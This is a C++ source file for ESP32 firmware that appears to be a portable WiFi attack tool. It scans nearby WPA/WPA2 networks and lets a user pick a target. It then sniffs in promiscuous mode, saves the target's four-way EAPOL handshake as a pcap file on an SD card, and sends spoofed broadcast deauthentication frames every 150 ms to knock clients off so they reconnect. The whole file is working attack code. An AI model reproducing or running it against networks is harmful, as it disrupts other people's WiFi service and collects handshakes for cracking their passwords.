#include "HandshakeCapture.h" #include "SD_Card.h" #include "LVGL_Driver.h" #include static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); static void pcapInit(); static void pcapAppend(const uint8_t* frame, size_t len); static void saveHandshakeToSD(); WifiNetwork networks[20]; WifiNetwork target; bool is_capturing = false; bool with_deauth = false; uint8_t eapol_count = 0; bool beacon_captured = false; uint8_t* pcap_buffer = nullptr; size_t pcap_size = 0; int current_target_index = -1; const unsigned long DEAUTH_INTERVAL_MS = 150; #define CAPTURED_BSSID_CACHE_SIZE 32 static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6]; static int captured_bssid_count = 0; bool wasBssidCaptured(const uint8_t* bssid) { for (int i = 0; i < captured_bssid_count; i++) { if (memcmp(captured_bssids[i], bssid, 6) == 0) return true; } return false; } void markBssidCaptured(const uint8_t* bssid) { if (wasBssidCaptured(bssid)) return; if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) { memcpy(captured_bssids[captured_bssid_count], bssid, 6); captured_bssid_count++; } else { memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6); memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6); } } void handshakeCaptureInit() { WiFi.mode(WIFI_STA); WiFi.disconnect(false, true); delay(100); WiFi.mode(WIFI_AP_STA); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback); } bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { return a.rssi > b.rssi; } bool isCaptureable(int index) { if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false; const String& enc = networks[index].encryption; return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2"; } void scanNetworksSortedByRSSI() { memset(networks, 0, sizeof(networks)); int n = WiFi.scanNetworks(false, true); if (n == 0) return; int limit = min(n, 20); for (int i = 0; i < limit; i++) { String ssid = WiFi.SSID(i); if (ssid.isEmpty()) networks[i].ssid = ""; else networks[i].ssid = ssid; memcpy(networks[i].bssid, WiFi.BSSID(i), 6); networks[i].ch = WiFi.channel(i); networks[i].rssi = WiFi.RSSI(i); wifi_auth_mode_t enc = WiFi.encryptionType(i); if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open"; else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP"; else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA"; else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2"; else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2"; else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise"; else networks[i].encryption = "Unknown"; networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid); } std::sort(networks, networks + limit, compareRSSI); } void setTarget(int index) { if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) { target = networks[index]; current_target_index = index; } } int getCurrentTargetIndex() { return current_target_index; } bool isHandshakeCaptured(int index) { return index >= 0 && index < 20 && networks[index].handshake_captured; } void markHandshakeCaptured(int index) { if (index >= 0 && index < 20) { networks[index].handshake_captured = true; markBssidCaptured(networks[index].bssid); Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED)); } } void startCapture(bool deauth) { if (target.ssid.isEmpty() || is_capturing) return; pcapInit(); beacon_captured = false; eapol_count = 0; with_deauth = deauth; is_capturing = true; esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE); } void stopCapture() { if (!is_capturing) return; if (pcap_size > 0) { saveHandshakeToSD(); } is_capturing = false; with_deauth = false; } static void saveHandshakeToSD() { String timestamp = String(millis() / 1000); String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap"; filename.replace(" ", "_"); File file = SD.open(filename, FILE_WRITE); if (!file) { Serial.println("SD write failed"); return; } if (file.write(pcap_buffer, pcap_size) == pcap_size) { Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size); markHandshakeCaptured(current_target_index); } file.close(); free(pcap_buffer); pcap_buffer = nullptr; pcap_size = 0; } static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { if (!is_capturing) return; wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; uint8_t* payload = pkt->payload; uint16_t len = pkt->rx_ctrl.sig_len; if (len < 36) return; uint8_t frame_type = payload[0]; bool is_beacon = frame_type == 0x80; if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) { beacon_captured = true; pcapAppend(payload, len); return; } if ((frame_type == 0x08 || frame_type == 0x88) && (memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) { uint16_t ethertype = (payload[32] << 8) | payload[33]; if (ethertype == 0x888E) { eapol_count++; pcapAppend(payload, len); if (eapol_count >= 4) { stopCapture(); } } } } static void pcapInit() { free(pcap_buffer); pcap_size = sizeof(pcap_global_header_t); pcap_buffer = (uint8_t*)malloc(pcap_size); pcap_global_header_t header = { .magic_number = 0xa1b2c3d4, .version_major = 2, .version_minor = 4, .thiszone = 0, .sigfigs = 0, .snaplen = 65535, .network = 105 }; memcpy(pcap_buffer, &header, sizeof(header)); } static void pcapAppend(const uint8_t* frame, size_t len) { if (!frame || len == 0) return; pcap_record_header_t rec = { .ts_sec = millis() / 1000, .ts_usec = (millis() % 1000) * 1000, .incl_len = len, .orig_len = len }; uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len); if (!new_buf) return; memcpy(new_buf + pcap_size, &rec, sizeof(rec)); memcpy(new_buf + pcap_size + sizeof(rec), frame, len); pcap_buffer = new_buf; pcap_size += sizeof(rec) + len; } void sendDeauth() { if (!is_capturing || !with_deauth) return; uint8_t deauth_packet[26] = { 0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00 }; memcpy(&deauth_packet[10], target.bssid, 6); memcpy(&deauth_packet[16], target.bssid, 6); esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false); } void handshakeCaptureLoop() { static unsigned long last_deauth = 0; if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) { sendDeauth(); last_deauth = millis(); } }